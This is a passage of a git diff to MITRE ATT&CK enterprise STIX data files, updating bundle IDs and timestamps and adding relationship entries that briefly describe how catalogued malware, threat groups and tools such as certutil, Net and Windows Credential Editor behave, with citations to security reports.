+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "uses command line for execution.",
+            "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1",
+            "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830",
+            "external_references": [
+                {
+                    "source_name": "Forcepoint Felismus Mar 2017",
+                    "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.",
+                    "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fe0c8388-46fb-4064-9837-56a23339ffaa.json b/enterprise-attack/relationship/relationship--fe0c8388-46fb-4064-9837-56a23339ffaa.json
index 669171ce6b..360504c8fa 100644
--- a/enterprise-attack/relationship/relationship--fe0c8388-46fb-4064-9837-56a23339ffaa.json
+++ b/enterprise-attack/relationship/relationship--fe0c8388-46fb-4064-9837-56a23339ffaa.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9d04b86a-d057-4742-9b4e-c629a8d84505",
+    "id": "bundle--7db5f296-7b00-4cb7-8bec-f8a034b24e59",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fe0c8388-46fb-4064-9837-56a23339ffaa",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "ChChes samples were digitally signed with a certificate originally used by Hacking Team that was later leaked and subsequently revoked.",
             "source_ref": "malware--dc5d1a33-62aa-4a0c-aa8c-589b87beb11e",
diff --git a/enterprise-attack/relationship/relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc.json b/enterprise-attack/relationship/relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc.json
index 18ef02ceb5..c65498740b 100644
--- a/enterprise-attack/relationship/relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc.json
+++ b/enterprise-attack/relationship/relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--b7cc7313-b6e4-4d77-a703-f21589df5f77",
+    "id": "bundle--3fefc87d-7dbc-4481-930f-9c6ba1dd6beb",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fe229513-0cd9-4e9a-a333-2748ef03dfbc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "USBStealer collects files matching certain criteria from the victim and stores them in a local directory for later exfiltration.",
             "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb",
@@ -22,7 +22,7 @@
                 {
                     "source_name": "Kaspersky Sofacy",
                     "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
-                    "url": "https://securelist.com/blog/research/72924/sofacy-apt-hits-high-profile-targets-with-updated-toolset/"
+                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                 }
             ],
             "object_marking_refs": [
diff --git a/enterprise-attack/relationship/relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764.json b/enterprise-attack/relationship/relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764.json
index 56e7804c54..544ee7dc9a 100644
--- a/enterprise-attack/relationship/relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764.json
+++ b/enterprise-attack/relationship/relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--83c1eff0-f77b-40d9-a6e0-ca308e992554",
+    "id": "bundle--e447f301-c18b-4089-a7bb-8f0b592b1288",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fe3c4134-ddef-45f8-b83a-6865a01b9764",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Regin appears to have functionality to modify remote Registry information.",
             "source_ref": "malware--4c59cce8-cb48-4141-b9f1-f646edfaadb0",
diff --git a/enterprise-attack/relationship/relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046.json b/enterprise-attack/relationship/relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046.json
index bb9ec05137..9cf4213227 100644
--- a/enterprise-attack/relationship/relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046.json
+++ b/enterprise-attack/relationship/relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--a12c57d3-6b78-4df5-a537-26ebe6b33298",
+    "id": "bundle--82915b97-6916-4364-83be-f0a704056b8a",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fe4ed27a-6d45-4e6a-bbc0-7ebe15a38046",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "RTM can delete all files created during its execution.",
             "source_ref": "malware--92ec0cbd-2c30-44a2-b270-73f4ec949841",
diff --git a/enterprise-attack/relationship/relationship--fe786b29-e621-48e2-84b5-aed35e6930fe.json b/enterprise-attack/relationship/relationship--fe786b29-e621-48e2-84b5-aed35e6930fe.json
new file mode 100644
index 0000000000..d24edc6c12
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fe786b29-e621-48e2-84b5-aed35e6930fe.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--a517c988-bf20-4ec6-8c52-6eb759a34a07",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fe786b29-e621-48e2-84b5-aed35e6930fe",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "checks the victim OS version after executing to determine where to drop files based on whether the victim is 32-bit or 64-bit.",
+            "source_ref": "malware--a8d3d497-2da9-4797-8e0b-ed176be08654",
+            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
+            "external_references": [
+                {
+                    "source_name": "Microsoft SIR Vol 21",
+                    "description": "Anthe, C. et al. (2016, December 14). Microsoft Security Intelligence Report Volume 21. Retrieved November 27, 2017.",
+                    "url": "http://download.microsoft.com/download/E/B/0/EB0F50CC-989C-4B66-B7F6-68CD3DC90DE3/Microsoft%20Security%20Intelligence%20Report%20Volume%2021%20English.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d.json b/enterprise-attack/relationship/relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d.json
index 64372080fe..5e39d89db2 100644
--- a/enterprise-attack/relationship/relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d.json
+++ b/enterprise-attack/relationship/relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--4b61c271-e366-46c9-98a1-de8a21fdc885",
+    "id": "bundle--d17233c5-3d07-423a-9465-12494c143771",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fe8a320f-e5e5-4503-8c3a-5c21b628a61d",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Threat Group-3390 has used <code>net use</code> to conduct internal discovery of systems. The group has also used quser.exe to identify existing RDP sessions on a victim.",
             "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c",
diff --git a/enterprise-attack/relationship/relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21.json b/enterprise-attack/relationship/relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21.json
new file mode 100644
index 0000000000..443fe03051
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--1804144a-b0b1-4651-9c39-612a1b9324cc",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--fe9c9381-99d7-4798-ab41-3e5cdbda5e21",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "Based on comparison of Gazer versions, Turla made an effort to obfuscate strings in the malware that could be used as IoCs, including the mutex name and named pipe.",
+            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "external_references": [
+                {
+                    "source_name": "ESET Gazer Aug 2017",
+                    "description": "ESET. (2017, August). Gazing at Gazer: Turla\u2019s new second stage backdoor. Retrieved September 14, 2017.",
+                    "url": "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c.json b/enterprise-attack/relationship/relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c.json
index 2bc69b66d7..8563d2e054 100644
--- a/enterprise-attack/relationship/relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c.json
+++ b/enterprise-attack/relationship/relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ea22a504-36bf-4f4b-970b-6a91fa5cd07b",
+    "id": "bundle--e7db6e0f-d1ef-49a8-9744-d443cf77c6f5",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--fea6e347-95f5-4d97-8781-4cc15d6b5b0c",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "Sys10 collects the account name of the logged-in user and sends it to the C2.",
             "source_ref": "malware--7f8730af-f683-423f-9ee1-5f6875a80481",
diff --git a/enterprise-attack/relationship/relationship--febbf503-d7e5-4896-90b9-35b6a811b19b.json b/enterprise-attack/relationship/relationship--febbf503-d7e5-4896-90b9-35b6a811b19b.json
new file mode 100644
index 0000000000..1c8b602c87
--- /dev/null
+++ b/enterprise-attack/relationship/relationship--febbf503-d7e5-4896-90b9-35b6a811b19b.json
@@ -0,0 +1,28 @@
+{
+    "type": "bundle",
+    "id": "bundle--b817a1ce-5530-40e2-8ddb-6a3a9d960cf4",
+    "spec_version": "2.0",
+    "objects": [
+        {
+            "type": "relationship",
+            "id": "relationship--febbf503-d7e5-4896-90b9-35b6a811b19b",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T21:43:14.128Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "relationship_type": "uses",
+            "description": "APT3 has been known to remove indicators of compromise from tools.",
+            "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9",
+            "target_ref": "attack-pattern--00d0b012-8a03-410e-95de-5826bf542de6",
+            "external_references": [
+                {
+                    "source_name": "APT3 Adversary Emulation Plan",
+                    "description": "Korban, C, et al. (2017, September). APT3 Adversary Emulation Plan. Retrieved January 16, 2018.",
+                    "url": "https://attack.mitre.org/w/img%20auth.php/6/6c/APT3%20Adversary%20Emulation%20Plan.pdf"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ]
+        }
+    ]
+}
\ No newline at end of file
diff --git a/enterprise-attack/relationship/relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4.json b/enterprise-attack/relationship/relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4.json
index f1c758b536..d3b6fc8042 100644
--- a/enterprise-attack/relationship/relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4.json
+++ b/enterprise-attack/relationship/relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e1cbac3c-050a-4745-9b1f-ca9a760321ae",
+    "id": "bundle--ea4ff3c4-93c9-4175-9d6e-8874b553253f",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ff4e1b0e-eea2-4329-aecc-e5353be8c1f4",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.049Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "APT29 used UPX to pack files.",
             "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542",
diff --git a/enterprise-attack/relationship/relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59.json b/enterprise-attack/relationship/relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59.json
index 9bbea73b02..56652edfcb 100644
--- a/enterprise-attack/relationship/relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59.json
+++ b/enterprise-attack/relationship/relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--00078b49-82ec-489a-8507-6191d4f12724",
+    "id": "bundle--5786d4df-9fb8-4ac4-a4cc-efa9980480b9",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ff61ebde-befe-488a-89d0-dc4c49e60d59",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "CosmicDuke steals user files from removable media with file extensions and keywords that match a predefined list.",
             "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee",
diff --git a/enterprise-attack/relationship/relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655.json b/enterprise-attack/relationship/relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655.json
index d974db40d0..da708724db 100644
--- a/enterprise-attack/relationship/relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655.json
+++ b/enterprise-attack/relationship/relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--26fc1aee-72f7-4f33-bebc-70b53c373d1f",
+    "id": "bundle--2cebd1f3-3394-47d9-9fa9-3bc889774800",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ff922dd7-21b6-4f95-bb8b-080d0dee6655",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "When a document is found matching one of the extensions in the configuration, TINYTYPHON uploads it to the C2 server.",
             "source_ref": "malware--85b39628-204a-48d2-b377-ec368cbcb7ca",
diff --git a/enterprise-attack/relationship/relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13.json b/enterprise-attack/relationship/relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13.json
index f31d4b0960..17c82c39d0 100644
--- a/enterprise-attack/relationship/relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13.json
+++ b/enterprise-attack/relationship/relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--bca05a7f-ea09-44dd-a79d-7906ba9411d3",
+    "id": "bundle--f63435e6-e8e3-464e-9ff8-c649d303aed2",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ff93eedd-e788-4541-9a9b-ccead3df0d13",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:27.029Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "mitigates",
             "source_ref": "course-of-action--ed202147-4026-4330-b5bd-1e8dfa8cf7cc",
             "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4",
diff --git a/enterprise-attack/relationship/relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb.json b/enterprise-attack/relationship/relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb.json
index 88bd2b31d5..b3c42d88be 100644
--- a/enterprise-attack/relationship/relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb.json
+++ b/enterprise-attack/relationship/relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--677311a6-7c9c-45f7-91dc-f7ca70a23266",
+    "id": "bundle--0c740ab6-5b9c-4d1b-bd05-8538d3918033",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "relationship--ffee4cd1-f193-4dbc-9f47-6fe47e1523eb",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "relationship_type": "uses",
             "description": "menuPass has used DLL search order hijacking.",
             "source_ref": "intrusion-set--222fbd21-fc4f-4b7e-9f85-0e6e3a76c33f",
diff --git a/enterprise-attack/tool/tool--03342581-f790-4f03-ba41-e82e67392e23.json b/enterprise-attack/tool/tool--03342581-f790-4f03-ba41-e82e67392e23.json
index 036be80fea..9b5c4afd97 100644
--- a/enterprise-attack/tool/tool--03342581-f790-4f03-ba41-e82e67392e23.json
+++ b/enterprise-attack/tool/tool--03342581-f790-4f03-ba41-e82e67392e23.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--acece8f2-1fbf-49a6-9429-bf2228b46071",
+    "id": "bundle--d8217482-29a0-4b1a-8b20-bf3a696599ed",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--03342581-f790-4f03-ba41-e82e67392e23",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:31.601Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Net",
             "description": "The Net utility is a component of the Windows operating system. It is used in command-line operations for control of users, groups, services, and network connections. (Citation: Microsoft Net Utility)\n\nNet has a great deal of functionality, (Citation: Savill 1999) much of which is useful for an adversary, such as gathering system and network information for Discovery, moving laterally through Windows admin shares using <code>net use</code> commands, and interacting with services.\n\nAliases: Net, net.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--0a68f1f1-da74-4d28-8d9a-696c082706cc.json b/enterprise-attack/tool/tool--0a68f1f1-da74-4d28-8d9a-696c082706cc.json
index f453405a67..294b66a334 100644
--- a/enterprise-attack/tool/tool--0a68f1f1-da74-4d28-8d9a-696c082706cc.json
+++ b/enterprise-attack/tool/tool--0a68f1f1-da74-4d28-8d9a-696c082706cc.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--97c13b9b-d2a7-4626-a88a-ad862ef7e4eb",
+    "id": "bundle--cc7a6056-22e4-4dd7-8f57-b4d7d7c69421",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--0a68f1f1-da74-4d28-8d9a-696c082706cc",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "certutil",
             "description": "Certutil is a command-line utility that can be used to obtain certificate authority information and configure Certificate Services. (Citation: TechNet Certutil)\n\nAliases: certutil, certutil.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952.json b/enterprise-attack/tool/tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952.json
index 41119db448..d2b957a8b3 100644
--- a/enterprise-attack/tool/tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952.json
+++ b/enterprise-attack/tool/tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--93ab52aa-d8ba-4dd4-9d10-10500d22fe61",
+    "id": "bundle--3db54601-7c1d-401f-a3c9-a4b3dd367bfc",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--0c8465c0-d0b4-4670-992e-4eee8d7ff952",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:06.824Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "at",
             "description": "at is used to schedule tasks on a system to run at a specified date or time. (Citation: TechNet At)\n\nAliases: at, at.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--102c3898-85e0-43ee-ae28-62a0a3ed9507.json b/enterprise-attack/tool/tool--102c3898-85e0-43ee-ae28-62a0a3ed9507.json
index b960b56822..62379a7f65 100644
--- a/enterprise-attack/tool/tool--102c3898-85e0-43ee-ae28-62a0a3ed9507.json
+++ b/enterprise-attack/tool/tool--102c3898-85e0-43ee-ae28-62a0a3ed9507.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--e8e1e796-2a77-4fff-ba8c-3d1e37965d90",
+    "id": "bundle--7f79526e-f02f-45fd-940a-efd361642259",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--102c3898-85e0-43ee-ae28-62a0a3ed9507",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:09.047Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "UACMe",
             "description": "UACMe is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. (Citation: Github UACMe)\n\nAliases: UACMe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--242f3da3-4425-4d11-8f5c-b842886da966.json b/enterprise-attack/tool/tool--242f3da3-4425-4d11-8f5c-b842886da966.json
index 5e2e0f3c36..f9e2bdfa56 100644
--- a/enterprise-attack/tool/tool--242f3da3-4425-4d11-8f5c-b842886da966.json
+++ b/enterprise-attack/tool/tool--242f3da3-4425-4d11-8f5c-b842886da966.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--f450fb6d-cd48-4883-8ff8-b4e64ae69607",
+    "id": "bundle--e676cc16-ff90-4fc0-bb22-79554b95ad92",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--242f3da3-4425-4d11-8f5c-b842886da966",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:12.684Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Windows Credential Editor",
             "description": "Windows Credential Editor is a password dumping tool. (Citation: Amplia WCE)\n\nAliases: Windows Credential Editor, WCE",
             "labels": [
diff --git a/enterprise-attack/tool/tool--294e2560-bd48-44b2-9da2-833b5588ad11.json b/enterprise-attack/tool/tool--294e2560-bd48-44b2-9da2-833b5588ad11.json
index 86647a0a8e..b42d44b52d 100644
--- a/enterprise-attack/tool/tool--294e2560-bd48-44b2-9da2-833b5588ad11.json
+++ b/enterprise-attack/tool/tool--294e2560-bd48-44b2-9da2-833b5588ad11.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--034165ff-5be2-4859-a915-38dc98f44065",
+    "id": "bundle--1a53e099-d195-44b6-8a62-4d5fa554e920",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--294e2560-bd48-44b2-9da2-833b5588ad11",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:02.863Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "ipconfig",
             "description": "ipconfig is a Windows utility that can be used to find information about a system's TCP/IP, DNS, DHCP, and adapter configuration. (Citation: TechNet Ipconfig)\n\nAliases: ipconfig, ipconfig.exe",
             "labels": [
diff --git a/enterprise-attack/tool/tool--2e45723a-31da-4a7e-aaa6-e01998a6788f.json b/enterprise-attack/tool/tool--2e45723a-31da-4a7e-aaa6-e01998a6788f.json
index 052b748b31..ac3cfa494f 100644
--- a/enterprise-attack/tool/tool--2e45723a-31da-4a7e-aaa6-e01998a6788f.json
+++ b/enterprise-attack/tool/tool--2e45723a-31da-4a7e-aaa6-e01998a6788f.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--9aa1241c-61ca-4f4e-b3d4-e5aa6ad7c156",
+    "id": "bundle--409df574-51b8-485f-b035-0780aa1b9642",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--2e45723a-31da-4a7e-aaa6-e01998a6788f",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:32:39.233Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Tasklist",
             "description": "The Tasklist utility displays a list of applications and services with their Process IDs (PID) for all tasks running on either a local or a remote computer. It is packaged with Windows operating systems and can be executed from the command-line interface. (Citation: Microsoft Tasklist)\n\nAliases: Tasklist",
             "labels": [
diff --git a/enterprise-attack/tool/tool--2fab555f-7664-4623-b4e0-1675ae38190b.json b/enterprise-attack/tool/tool--2fab555f-7664-4623-b4e0-1675ae38190b.json
index aae9011f31..5d83c7ca03 100644
--- a/enterprise-attack/tool/tool--2fab555f-7664-4623-b4e0-1675ae38190b.json
+++ b/enterprise-attack/tool/tool--2fab555f-7664-4623-b4e0-1675ae38190b.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--ee24c3d7-bd27-4626-85a1-cf6fb9531107",
+    "id": "bundle--b7a592ab-4ddc-4200-a2f3-ef3904bcbe16",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--2fab555f-7664-4623-b4e0-1675ae38190b",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:33:10.962Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Lslsass",
             "description": "Lslsass is a publicly-available tool that can dump active logon session password hashes from the lsass process. (Citation: Mandiant APT1)\n\nAliases: Lslsass",
             "labels": [
diff --git a/enterprise-attack/tool/tool--30489451-5886-4c46-90c9-0dff9adc5252.json b/enterprise-attack/tool/tool--30489451-5886-4c46-90c9-0dff9adc5252.json
index dedbd04622..9aceee2d3a 100644
--- a/enterprise-attack/tool/tool--30489451-5886-4c46-90c9-0dff9adc5252.json
+++ b/enterprise-attack/tool/tool--30489451-5886-4c46-90c9-0dff9adc5252.json
@@ -1,6 +1,6 @@
 {
     "type": "bundle",
-    "id": "bundle--d0d70e9f-476d-4a2f-9f89-94cb66733321",
+    "id": "bundle--85d89195-66ff-4402-a355-327827108208",
     "spec_version": "2.0",
     "objects": [
         {
@@ -8,7 +8,7 @@
             "id": "tool--30489451-5886-4c46-90c9-0dff9adc5252",
